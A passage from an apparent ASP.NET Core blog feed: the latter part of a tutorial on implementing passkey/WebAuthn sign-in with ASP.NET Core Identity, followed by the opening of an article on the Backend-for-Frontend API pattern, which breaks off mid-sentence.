        headers: {
            "Content-Type": "application/json"
        },
        body: JSON.stringify(
            credential.toJSON())
    });</code></code></pre><p>Applications should check browser support and provide appropriate fallback behavior.</p><p>The server must validate the returned credential using the same registration attempt and challenge.</p><h2>Completing Registration Securely</h2><p>Completing registration involves several important checks.</p><p>The server must verify that the response corresponds to the challenge it issued.</p><p>It must validate the relying party and origin.</p><p>It must ensure the credential is acceptable under the application&#8217;s authenticator policy.</p><p>It must associate the new credential with the authenticated user.</p><p>It should also prevent the same credential identifier from being improperly registered across unrelated accounts.</p><p>Once registration succeeds, the application stores the credential&#8217;s public key and required metadata.</p><p>The private key is never stored by the ASP.NET Core application.</p><p>The account may now have one or more registered passkeys.</p><p>That brings us to another important design consideration.</p><p>A user should generally be able to manage multiple authenticators.</p><h2>Supporting Multiple Passkeys Per Account</h2><p>A user may have a passkey on their laptop.</p><p>They may also have one on a phone.</p><p>They may register a hardware security key as a backup.</p><p>Supporting multiple credentials improves account resilience.</p><p>A user who loses one device may still authenticate with another.</p><p>The application should provide an account-management screen showing registered passkeys.</p><p>Useful information includes a friendly name, registration date, and other metadata the application can reliably obtain.</p><p>For example: </p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;03d7a653-fa0f-432e-a76e-dd6f7d434345&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Passkey          Registered            Action
Work laptop      October 12, 2026      Remove
Personal phone   October 18, 2026      Remove
Security key     October 20, 2026      Remove</code></pre></div><p>The application should avoid claiming to know exactly where a synced passkey exists.</p><p>A single synchronized credential may be usable across several devices.</p><p>Credential management should describe what the application actually knows, not infer the full contents of a user&#8217;s credential provider.</p><h2>Designing the Passkey Sign-In Page</h2><p>A good passkey experience should feel simpler than entering a password.</p><p>The login page might display a prominent button:</p><p><strong>Sign in with a passkey</strong></p><p>When the user selects it, the application requests authentication options from the server.</p><p>The browser then asks the authenticator to complete the sign-in operation.</p><p>On supported platforms, the user may confirm with a fingerprint, facial recognition, or device PIN.</p><p>The application receives the signed assertion.</p><p>The server validates it.</p><p>If successful, the user is signed in.</p><p>This experience can take only a few seconds.</p><p>But usability depends on the browser, operating system, authenticator, and account configuration.</p><p>Applications should not assume every user has a passkey-capable device or that every platform presents the same interface.</p><h2>Implementing the Browser Authentication Call</h2><p>The browser authentication flow uses <code>navigator.credentials.get()</code>.</p><pre><code><code>async function signInWithPasskey() {
    const optionsResponse = await fetch(
        "/api/passkeys/authenticate/options",
        {
            method: "POST"
        });

    if (!optionsResponse.ok) {
        throw new Error(
            "Unable to start passkey sign-in.");
    }

    const optionsJson =
        await optionsResponse.json();

    const options =
        PublicKeyCredential.parseRequestOptionsFromJSON(
            optionsJson);

    const credential =
        await navigator.credentials.get({
            publicKey: options
        });

    if (!credential) {
        throw new Error(
            "Passkey sign-in was cancelled.");
    }

    const result = await fetch(
        "/api/passkeys/authenticate/complete",
        {
            method: "POST",
            headers: {
                "Content-Type": "application/json"
            },
            body: JSON.stringify(
                credential.toJSON())
        });

    if (!result.ok) {
        throw new Error(
            "Passkey authentication failed.");
    }

    window.location.assign("/dashboard");
}</code></code></pre><p>This example assumes the backend returns compatible WebAuthn request options and completes sign-in by issuing the appropriate authentication session.</p><p>The client-side code doesn&#8217;t verify the signature.</p><p>That responsibility belongs to the server.</p><p>The browser&#8217;s role is to coordinate the WebAuthn ceremony and transmit the result.</p><h2>What the Server Must Validate During Sign-In</h2><p>When the server receives a WebAuthn assertion, it cannot simply trust the credential identifier.</p><p>It must retrieve the corresponding registered public key.</p><p>Then it must validate the cryptographic signature.</p><p>It must also verify that the challenge matches the outstanding authentication attempt.</p><p>The origin and relying party information must be correct.</p><p>The authenticator flags must satisfy the application&#8217;s requirements.</p><p>Where relevant, credential signature counters and other authenticator metadata must be handled according to the WebAuthn rules.</p><p>These checks protect against replay attacks, credential substitution, and incorrect origin acceptance.</p><p>This is why using a well-maintained WebAuthn implementation is preferable to manually parsing and verifying authenticator data.</p><h2>Passwordless Does Not Mean Sessionless</h2><p>As we discussed in our earlier guide on <em><a href="https://www.asptoday.com/p/securing-your-aspnet-applications">Security Best Practices in ASP.NET Core</a></em>, secure authentication is only one part of protecting an application. Even with phishing-resistant passkeys, developers must secure authentication cookies, enforce authorization policies, prevent CSRF attacks, and protect active user sessions.</p><p>After successful passkey authentication, the application still needs a session.</p><p>For a server-rendered ASP.NET Core application, an authentication cookie is a common choice.</p><p>The cookie should be protected using appropriate settings.</p><pre><code><code>builder.Services.ConfigureApplicationCookie(
    options =&gt;
    {
        options.Cookie.HttpOnly = true;
        options.Cookie.SecurePolicy =
            CookieSecurePolicy.Always;

        options.Cookie.SameSite =
            SameSiteMode.Lax;

        options.ExpireTimeSpan =
            TimeSpan.FromHours(8);
    });</code></code></pre><p>This example illustrates cookie configuration, not a complete authentication setup.</p><p>The application should also enforce authorization policies, handle logout, manage session expiration, and protect state-changing requests against cross-site request forgery.</p><p>A phishing-resistant login does not prevent an attacker from abusing an already stolen session cookie.</p><p>Authentication and session security must work together.</p><h2>Passkeys and Backend-for-Frontend Architecture</h2><p>In our previous article on <em><a href="https://www.asptoday.com/p/building-backend-for-frontend-apis">Building Backend-for-Frontend APIs with ASP.NET Core</a></em>, we explored how client-specific API layers simplify authentication, protect backend credentials, and establish clear security boundaries. Passkeys complement this architecture by enabling phishing-resistant browser authentication while the BFF manages secure sessions and backend communication.</p><p>Passkeys fit naturally into that architecture.</p><p>A browser-based BFF can perform the WebAuthn sign-in flow and establish a server-managed session.</p><p>The browser communicates with the BFF using a secure cookie.</p><p>The BFF communicates with backend services using appropriate service credentials or delegated user tokens.</p><pre><code><code>Browser
   |
   | WebAuthn sign-in
   v
ASP.NET Core BFF
   |
   | Secure session
   |
   | Backend authorization
   v
Application services</code></code></pre><p>This design separates browser authentication from internal service communication.</p><p>The BFF doesn&#8217;t need to expose backend access tokens to browser JavaScript.</p><p>However, backend services must still enforce their own authorization requirements.</p><p>A successful passkey login proves the user&#8217;s identity. It does not automatically grant permission to every resource in the system.</p><h2>Passkeys and Multi-Factor Authentication</h2><p>Passkeys are sometimes described as replacing multi-factor authentication.</p><p>The relationship is more nuanced.</p><p>A passkey can provide multi-factor authentication properties when it combines possession of a cryptographic credential with local user verification.</p><p>For example, the authenticator may require a device PIN or biometric verification before signing the challenge.</p><p>The server can require and verify the appropriate WebAuthn user-verification result.</p><p>But not every WebAuthn credential or authentication ceremony provides identical assurance.</p><p>A system with strict security requirements should define which authenticator properties and verification results it accepts.</p><p>It should also distinguish ordinary user authentication from higher-assurance actions.</p><p>For example, changing a bank account number may require fresh authentication even if the user already has an active session.</p><h2>Step-Up Authentication for Sensitive Operations</h2><p>Consider an administrative application.</p><p>A user signs in with a passkey and opens the dashboard.</p><p>Later, they attempt to change another user&#8217;s permissions.</p><p>That operation may require stronger assurance than simply viewing the dashboard.</p><p>The application can require recent authentication before allowing the change.</p><p>This is known as step-up authentication.</p><p>The system may ask the user to complete another WebAuthn authentication ceremony.</p><p>The server then records that the user recently satisfied the required authentication condition.</p><p>The important point is that the backend must enforce the step-up requirement.</p><p>Displaying a passkey prompt in the frontend is not enough.</p><p>Sensitive operations must verify the resulting authentication state and its freshness.</p><h2>Account Recovery Is the Hardest Part</h2><p>Passkeys simplify everyday sign-in, but account recovery remains challenging.</p><p>What happens when a user loses their phone?</p><p>What if their laptop is damaged?</p><p>What if they no longer have access to their credential synchronization provider?</p><p>A secure application needs a recovery strategy.</p><p>Possible approaches include additional registered passkeys, recovery codes, verified recovery workflows, or administrative recovery for managed enterprise accounts.</p><p>Each method has tradeoffs.</p><p>A weak recovery process can undermine strong passkey authentication.</p><p>For example, if an attacker can bypass passkey sign-in simply by convincing support staff to reset the account, the account remains vulnerable.</p><p>Recovery must be treated as a security-sensitive workflow.</p><h2>Avoiding Recovery Downgrade Attacks</h2><p>Imagine an application that requires phishing-resistant passkeys.</p><p>But it also allows users to recover their accounts using only an email link.</p><p>If an attacker compromises the user&#8217;s email account, they may be able to bypass the passkey requirement.</p><p>This is a recovery downgrade.</p><p>The application should evaluate whether its recovery methods provide assurance appropriate to the protected account.</p><p>For ordinary consumer applications, email-based recovery may be an acceptable usability tradeoff.</p><p>For high-security administrative systems, stronger recovery controls may be required.</p><p>The correct approach depends on the application&#8217;s threat model.</p><p>There is no universal recovery method that is both frictionless and appropriate for every security level.</p><h2>Removing and Replacing Passkeys</h2><p>Users should be able to remove credentials they no longer trust.</p><p>Suppose an employee loses a laptop.</p><p>They sign in using another registered passkey.</p><p>They open account settings and remove the lost device&#8217;s credential.</p><p>The server deletes or disables the corresponding credential record.</p><p>Future assertions using that credential should no longer be accepted.</p><p>For sensitive account changes, require recent authentication.</p><p>Also consider notifying the user when a passkey is added or removed.</p><p>Such notifications can help detect unauthorized account-management activity.</p><p>But a notification is not a substitute for authorization.</p><p>The application must enforce the credential-management rules on the server.</p><h2>Credential Storage and Database Design</h2><p>Passkey authentication requires the server to store public-key credential information.</p><p>At minimum, the application needs to associate a credential identifier and public key with the correct user.</p><p>It may also store credential metadata needed for verification and management.</p><p>A conceptual schema might look like this:</p><pre><code><code>CREATE TABLE UserPasskeys
(
    Id BIGINT PRIMARY KEY,
    UserId NVARCHAR(450) NOT NULL,
    CredentialId VARBINARY(1024) NOT NULL,
    PublicKey VARBINARY(MAX) NOT NULL,
    FriendlyName NVARCHAR(200) NULL,
    CreatedAt DATETIME2 NOT NULL,
    LastUsedAt DATETIME2 NULL
);</code></code></pre><p>This example uses SQL Server syntax.</p><p>It is illustrative, not a replacement for the schema required by ASP.NET Core Identity.</p><p>Production implementations should use the framework&#8217;s supported credential storage model and migrations.</p><p>The actual WebAuthn credential record may need additional fields, including information about the authenticator and signature counter.</p><p>Do not assume the simplified table contains everything necessary for secure verification.</p><h2>Passkey Registration Must Be Protected</h2><p>Adding a passkey is equivalent to adding a new way to access an account.</p><p>An attacker who can register their own passkey on someone else&#8217;s account may gain persistent access.</p><p>For that reason, passkey registration should normally require an authenticated session.</p><p>High-risk applications may also require recent authentication before adding a credential.</p><p>The registration challenge must be bound to the correct account.</p><p>The server must verify that the registration attempt is still valid.</p><p>CSRF protections matter when cookie-authenticated browser endpoints modify account credentials.</p><p>The application should also limit registration attempts and log credential-management events.</p><p>These safeguards are essential even though the underlying passkey cryptography is strong.</p><h2>Browser Compatibility and Feature Detection</h2><p>WebAuthn is supported by modern browsers, but individual features and user experiences vary.</p><p>An application can check whether the browser exposes the necessary APIs.</p><pre><code><code>if (!window.PublicKeyCredential) {
    console.log(
        "WebAuthn is not available.");
}</code></code></pre><p>More advanced applications can check support for particular capabilities, such as platform authenticators or conditional mediation.</p><p>However, feature detection should guide the user experience rather than become an overly restrictive gate.</p><p>A device without an integrated biometric sensor may still support passkeys through a hardware security key or another compatible authenticator.</p><p>The application should avoid assuming that biometric hardware is mandatory.</p><p>Passkeys are based on cryptographic credentials, not a particular biometric technology.</p><h2>Conditional UI and Autofill</h2><p>Modern passkey experiences can integrate with browser autofill.</p><p>Instead of forcing users to click a separate button, an application can offer passkeys as part of the sign-in field experience.</p><p>This is commonly called conditional UI or conditional mediation.</p><p>The browser can display available passkeys alongside other supported sign-in options.</p><p>A simplified WebAuthn call may use:</p><pre><code><code>const credential =
    await navigator.credentials.get({
        publicKey: requestOptions,
        mediation: "conditional"
    });</code></code></pre><p>Conditional mediation has specific browser and page requirements.</p><p>Applications must check support and ensure the sign-in form is configured appropriately.</p><p>A traditional passkey button remains a useful fallback.</p><p>The goal is to make secure authentication discoverable without forcing users through confusing device-specific instructions.</p><h2>Passkeys Across Multiple Domains</h2><p>WebAuthn credentials are associated with a relying party ID.</p><p>This creates important constraints for applications using multiple domains or subdomains.</p><p>Suppose a company operates:</p><pre><code><code>app.example.com
admin.example.com
accounts.example.com</code></code></pre><p>Depending on the chosen relying party configuration and origin validation policy, related subdomains may be able to participate in a shared passkey strategy.</p><p>But an unrelated domain cannot simply use the same credential.</p><p>Developers must plan relying party IDs before deployment.</p><p>Changing the authentication domain later may affect existing credentials.</p><p>This is especially important for SaaS applications that support custom customer domains.</p><p>Passkey authentication should be designed around stable, controlled authentication origins.</p><h2>Multi-Tenant SaaS Considerations</h2><p>A multi-tenant ASP.NET Core application may serve hundreds of organizations.</p><p>Each organization may have its own users, security policies, and authentication requirements.</p><p>The application must ensure that a passkey credential is associated with the correct account and tenant context.</p><p>Authentication identifies a user.</p><p>Authorization determines which tenant resources that user can access.</p><p>Those are separate decisions.</p><p>A valid WebAuthn assertion must not automatically grant access to every tenant.</p><p>The application should enforce tenant membership and permissions after authentication.</p><p>Enterprise customers may also require federated sign-in through their identity provider rather than direct passkey registration inside the application.</p><p>In that case, passkey authentication may occur at the identity provider, while ASP.NET Core validates the resulting OpenID Connect session.</p><h2>Passkeys With External Identity Providers</h2><p>Not every ASP.NET Core application needs to implement WebAuthn registration and verification itself.</p><p>Many applications delegate authentication to an external identity provider.</p><p>For example, an organization may use Microsoft Entra ID or another OpenID Connect provider.</p><p>The identity provider can manage passkeys and authenticator policies.</p><p>The ASP.NET Core application receives an authenticated identity through the configured federation flow.</p><p>This approach can simplify application development and centralize identity governance.</p><p>It is especially useful when organizations need centralized account lifecycle management, conditional access, and enterprise authentication policies.</p><p>Direct passkey integration makes sense when the application itself owns consumer identities and needs control over the registration and sign-in experience.</p><p>The choice depends on who owns the identity system.</p><h2>Rate Limiting and Abuse Prevention</h2><p>Passkey authentication eliminates password guessing as a direct attack against a reusable secret.</p><p>But authentication endpoints can still be abused.</p><p>Attackers may repeatedly request challenges, trigger expensive verification work, or attempt account enumeration.</p><p>Apply rate limits to authentication and registration endpoints.</p><p>Monitor unusual failure patterns.</p><p>Avoid revealing unnecessary account-existence information.</p><p>Expire challenges promptly.</p><p>Bind challenges to the intended ceremony.</p><p>Use cryptographically secure randomness.</p><p>Also consider the effect of automated traffic on credential registration and account recovery endpoints.</p><p>A strong authentication protocol still needs operational defenses.</p><h2>Observability for Passkey Authentication</h2><p>Authentication failures can be difficult to diagnose.</p><p>A user may cancel the browser prompt.</p><p>The authenticator may not contain a matching credential.</p><p>The challenge may have expired.</p><p>The origin may be incorrect.</p><p>The server may reject the assertion.</p><p>The application should distinguish these conditions in internal telemetry while returning safe, understandable messages to users.</p><p>Useful metrics include registration success rate, sign-in success rate, challenge expiration frequency, verification failures, and account recovery usage.</p><p>However, authentication logs must not expose secrets or sensitive credential material.</p><p>Credential identifiers and account information should be handled according to the application&#8217;s privacy and security requirements.</p><p>The purpose of observability is to improve reliability and detect abuse, not to collect unnecessary authentication data.</p><h2>Testing Passkey Authentication</h2><p>Passkey authentication requires more than ordinary endpoint tests.</p><p>Start by testing successful registration.</p><p>Verify that a new credential is associated with the correct user.</p><p>Then test successful authentication.</p><p>Confirm that the server establishes the expected session and authorization context.</p><p>Next, test failure scenarios.</p><p>A challenge should not be accepted twice.</p><p>A response for the wrong origin should fail.</p><p>A credential registered for one account must not authenticate another account improperly.</p><p>Expired challenges should be rejected.</p><p>Removed credentials must no longer work.</p><p>Credential-management endpoints must enforce authentication and authorization.</p><p>Browser-level tests should cover actual WebAuthn interactions using supported test authenticators or browser automation facilities.</p><p>Manual testing across operating systems and credential providers is also valuable because user experiences vary.</p><h2>Testing Without Real Biometric Hardware</h2><p>Developers don&#8217;t need a fingerprint reader for every automated test.</p><p>Browser automation tools and development environments can provide virtual authenticators.</p><p>These can simulate credential creation, authentication, user verification, and certain failure scenarios.</p><p>Virtual authenticators are useful for repeatable integration tests.</p><p>But they don&#8217;t fully replace testing on real devices.</p><p>Cross-device authentication, synced credentials, platform prompts, and account recovery can behave differently in real environments.</p><p>A complete test strategy combines automated protocol tests with targeted device and browser testing.</p><h2>Performance Considerations</h2><p>Passkey authentication involves cryptographic operations and database lookups.</p><p>For most applications, these costs are manageable.</p><p>However, high-traffic authentication systems should still measure latency and throughput.</p><p>The server may need to retrieve credential records, validate assertions, update metadata, and issue sessions.</p><p>Database indexes on credential identifiers are important.</p><p>Challenge storage must scale appropriately across application instances.</p><p>If an authentication attempt begins on one server and completes on another, the second server must be able to validate the original challenge.</p><p>In-memory challenge state tied to a single server instance can cause failures in load-balanced deployments.</p><p>Shared, appropriately protected challenge state is generally necessary for distributed authentication systems.</p><h2>Deploying Passkeys Across Multiple ASP.NET Core Instances</h2><p>Production applications often run behind a load balancer.</p><p>A user begins passkey registration on Server A.</p><p>The browser performs the WebAuthn operation.</p><p>The completion request reaches Server B.</p><p>Server B must have access to the challenge and registration state created by Server A.</p><p>This requires a shared or otherwise consistent state mechanism.</p><p>The application&#8217;s authentication cookies must also work across instances.</p><p>For cookie-based ASP.NET Core applications, shared Data Protection key management is important.</p><p>Without consistent cryptographic key material, one server may be unable to validate cookies issued by another.</p><p>These are ordinary distributed application concerns, but they become especially visible during authentication workflows.</p><h2>HTTPS Is Essential</h2><p>WebAuthn requires a secure context, with limited development exceptions such as localhost.</p><p>Production applications should use HTTPS.</p><p>The browser relies on origin information as part of the WebAuthn security model.</p><p>Incorrect reverse proxy configuration can cause the application to misunderstand its external scheme or host.</p><p>That may lead to invalid origin expectations and failed authentication.</p><p>Configure forwarded headers carefully when ASP.NET Core runs behind trusted proxies.</p><p>Use a stable public authentication domain.</p><p>Avoid relying on internal container hostnames or private service addresses when defining WebAuthn origins.</p><p>Authentication infrastructure must reflect the public origin the browser actually uses.</p><h2>Migrating Existing Users to Passkeys</h2><p>Most established applications already have users with passwords.</p><p>Requiring every user to switch immediately may create unnecessary friction.</p><p>A gradual migration is often more practical.</p><p>First, allow existing users to register a passkey after signing in.</p><p>Next, make passkey sign-in prominent for users who have registered one.</p><p>Then encourage users to add backup credentials.</p><p>Over time, the application can evaluate whether passwordless-only authentication is appropriate.</p><p>The migration plan should account for users who cannot use passkeys, have older devices, or depend on accessibility technologies.</p><p>Removing passwords should be a deliberate product and security decision.</p><p>A successful migration depends on both technical correctness and user understanding.</p><h2>Common Mistakes to Avoid</h2><p>One common mistake is treating passkeys as biometric authentication.</p><p>Biometrics may unlock the credential locally, but the server authenticates a cryptographic assertion.</p><p>Another mistake is assuming passkeys eliminate all account security problems.</p><p>They reduce important risks, especially phishing and password theft, but session management and recovery remain critical.</p><p>Developers should also avoid implementing WebAuthn verification manually without a strong reason.</p><p>Incorrect challenge, origin, or relying party validation can undermine the protocol.</p><p>A weak recovery workflow can bypass strong authentication.</p><p>A poorly designed multi-domain configuration can create credential compatibility problems.</p><p>And a system that allows users to register new passkeys without appropriate account verification can expose accounts to persistent compromise.</p><p>The protocol is powerful, but the surrounding application must be designed carefully.</p><h2>A Production-Ready Authentication Architecture</h2><p>Let&#8217;s bring the pieces together.</p><p>Our healthcare appointment platform uses ASP.NET Core Identity.</p><p>Users register passkeys through a secure account-management flow.</p><p>The browser uses WebAuthn to create credentials.</p><p>Identity validates the registration and stores public-key credential information.</p><p>During sign-in, the server generates a fresh challenge.</p><p>The browser requests an authenticator assertion.</p><p>Identity validates the response.</p><p>The application issues a secure session cookie.</p><p>Authorization policies control access to appointments, medical records, and administrative functions.</p><p>Users can register multiple passkeys and remove credentials they no longer trust.</p><p>Recovery follows a documented security policy.</p><p>Authentication telemetry detects unusual failures without exposing sensitive data.</p><p>The application runs over HTTPS with consistent challenge state and cookie protection across server instances.</p><p>This is the foundation of a maintainable passwordless authentication system.</p><h2>Coming Next</h2><p>In our next article, we&#8217;ll explore <em><strong>Software Supply Chain Security for ASP.NET Core: NuGet, SBOMs, Signing, and Dependency Risk</strong></em>.</p><p>Modern .NET applications depend on far more than the code developers write themselves.</p><p>They rely on NuGet packages, build tools, container images, CI/CD pipelines, and third-party dependencies.</p><p>A vulnerability or compromised dependency can introduce risk even when the application&#8217;s own code is secure.</p><p>We&#8217;ll explore how to evaluate package risk, detect vulnerable dependencies, generate software bills of materials, protect build pipelines, and improve the integrity of ASP.NET Core releases.</p><h2>Closing Thoughts</h2><p>Passkeys represent an important shift in how applications authenticate users.</p><p>Instead of relying on reusable passwords, they use public-key cryptography and authenticators protected by the user&#8217;s device or credential provider.</p><p>The server stores a public key.</p><p>The authenticator protects the private key.</p><p>Each authentication ceremony uses a fresh challenge.</p><p>The browser and server enforce origin and relying party rules.</p><p>Together, these properties make properly implemented passkey authentication significantly more resistant to phishing than traditional password-based sign-in.</p><p>ASP.NET Core Identity provides a foundation for integrating passkeys into modern .NET applications.</p><p>But successful passwordless authentication requires more than a registration button and a login prompt.</p><p>Applications must manage credential lifecycles, protect registration, design secure recovery, enforce authorization, handle distributed deployment, and support users across different devices.</p><p>The goal of passwordless authentication isn&#8217;t simply to remove a password field. It&#8217;s to replace reusable secrets with a stronger authentication model while making secure sign-in easier for the people using the application.</p><h2>Subscribe Now</h2><p>Building secure ASP.NET Core applications means understanding the technologies behind authentication, authorization, identity management, and modern web security.</p><p>Subscribe to <em><a href="https://www.asptoday.com/">ASP Today</a></em> for practical .NET tutorials, real-world security guidance, and production-focused architecture articles.</p><p>Join our Substack Chat to discuss passkeys, WebAuthn, ASP.NET Core Identity, authentication design, and the challenges of building secure applications.</p><p>Subscribe now and follow the series as we continue exploring the tools and techniques behind modern ASP.NET Core development. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Building Backend-for-Frontend APIs with ASP.NET Core: APIs Designed for Web, Mobile, and Devices]]></title><description><![CDATA[Design client-specific APIs for web, mobile, and IoT with ASP.NET Core. #ASPToday #aspnetcore #dotnet #BFF]]></description><link>https://www.asptoday.com/p/building-backend-for-frontend-apis</link><guid isPermaLink="false">https://www.asptoday.com/p/building-backend-for-frontend-apis</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 03 Nov 2026 15:03:14 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!SL13!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A modern application rarely serves just one type of client. The same backend may support a desktop website, a mobile application, an administrative dashboard, and thousands of connected devices. Although these clients share business data, they don&#8217;t necessarily need the same information, response formats, or authentication workflows. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!SL13!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!SL13!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!SL13!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!SL13!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!SL13!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!SL13!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2285235,&quot;alt&quot;:&quot;Airport staff, passengers, and baggage handlers use connected systems powered by shared backend services. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/223159231?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Airport staff, passengers, and baggage handlers use connected systems powered by shared backend services. " title="Airport staff, passengers, and baggage handlers use connected systems powered by shared backend services. " srcset="https://substackcdn.com/image/fetch/$s_!SL13!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!SL13!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!SL13!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!SL13!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd5c5f7ef-2940-4a03-8465-047fc7eaf222_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A desktop application may display detailed analytics, while a mobile app needs compact responses and fewer network requests. An IoT device may only need a small set of commands and configuration values. Trying to serve all these requirements through one general-purpose API can make both frontend and backend development unnecessarily complicated. The Backend-for-Frontend (BFF) pattern offers a better approach by introducing API layers designed around the needs of individual client experiences. In this guide, we&#8217;ll build practical BFF APIs with ASP.NET Core, explore aggregation, authentication, caching, resilience, and deployment strategies, and understand when this architecture makes sense.</p><h2>The Problem With One API for Every Client</h2><p>Imagine a logistics company that operates a delivery management platform.</p><p>The company has three different applications.</p><p>The first is a web dashboard used by operations managers. It displays delivery routes, driver locations, shipment statuses, customer details, and performance metrics.</p><p>The second is a mobile application used by delivery drivers. It shows assigned deliveries, navigation details, customer contact information, and proof-of-delivery actions.</p><p>The third is a fleet of connected tracking devices installed inside delivery vehicles. These devices periodically report location, temperature, battery level, and operational status.</p><p>All three clients belong to the same business system.</p><p>They share information about shipments, drivers, and vehicles.</p><p>But their requirements are very different.</p><p>The web dashboard may need detailed information from five backend services to build a single page.</p><p>The mobile application may need only a small subset of that information, optimized for limited bandwidth.</p><p>The tracking devices may need tiny messages and predictable response formats.</p><p>If all three clients use the same general-purpose API, that API gradually accumulates client-specific parameters, conditional responses, and specialized endpoints.</p><p>Over time, the API becomes difficult to maintain.</p><p>Consider an endpoint such as:</p><pre><code><code>GET /api/deliveries/4821?client=mobile&amp;compact=true</code></code></pre><p>Another client might request:</p><pre><code><code>GET /api/deliveries/4821?client=web&amp;includeAnalytics=true</code></code></pre><p>Eventually, the API must understand how every frontend 